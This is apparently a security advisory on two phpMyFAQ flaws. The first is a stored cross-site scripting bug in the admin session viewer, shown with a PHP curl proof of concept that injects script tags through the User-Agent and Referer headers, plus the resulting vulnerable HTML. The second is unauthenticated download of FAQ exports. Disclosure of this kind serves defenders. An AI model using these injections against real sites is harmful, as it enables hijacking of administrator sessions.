#Vendor: phpmyfaq.de

1) Persistent XSS
Administrator is able to view information about specific user session in 'Statistic' tab. Over there, you may find informations such as user ip, refferer and user agent.
For example, to view informations about session with ID 1, you need visit following address:
http://localhost/phpmyfaq/admin/?action=viewsession&id=1
Refferer and User Agent variables are not filtered, which allows attacker to inject javascript via those parameters. All you need to do, is to perform particular HTTP request which will contain javascript. For example, if you will produce hundrends of those request, there will be hundrends of Persistent XSS - Victim only needs to visit any of them.
PoC:
<?php
$ch =curl_init("http://localhost/phpmyfaq/index.php");
curl_setopt($ch,CURLOPT_USERAGENT,'<script>alert(666)</script>');
curl_setopt($ch, CURLOPT_REFERER, '<script>alert(123)</script>');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Vuln (viewsession):
<tbody>
<tr>
<td>2014-09-04 02:22:04</td>
<td>new_session (0)</td>
</tr>
<tr>
<td>Referer:</td>
<td>
<a href="<script>alert(123)</script>" target="_blank">
<script>alert(123)</script> </a>
</td>
</tr>
<tr>
<td>Browser:</td>
<td><script>alert(666)</script></td>
</tr>
<tr>
<td>IP-Address:</td>
<td>::1</td>
</tr>
</tbody>
2) Remote FAQ Disclosure
Administrator is able to view or download FAQ data using few extensions (xhtml, xml, pdf). Because of no user restrictions, attacker may reproduce this vulnerability to perform those actions even without having an account.
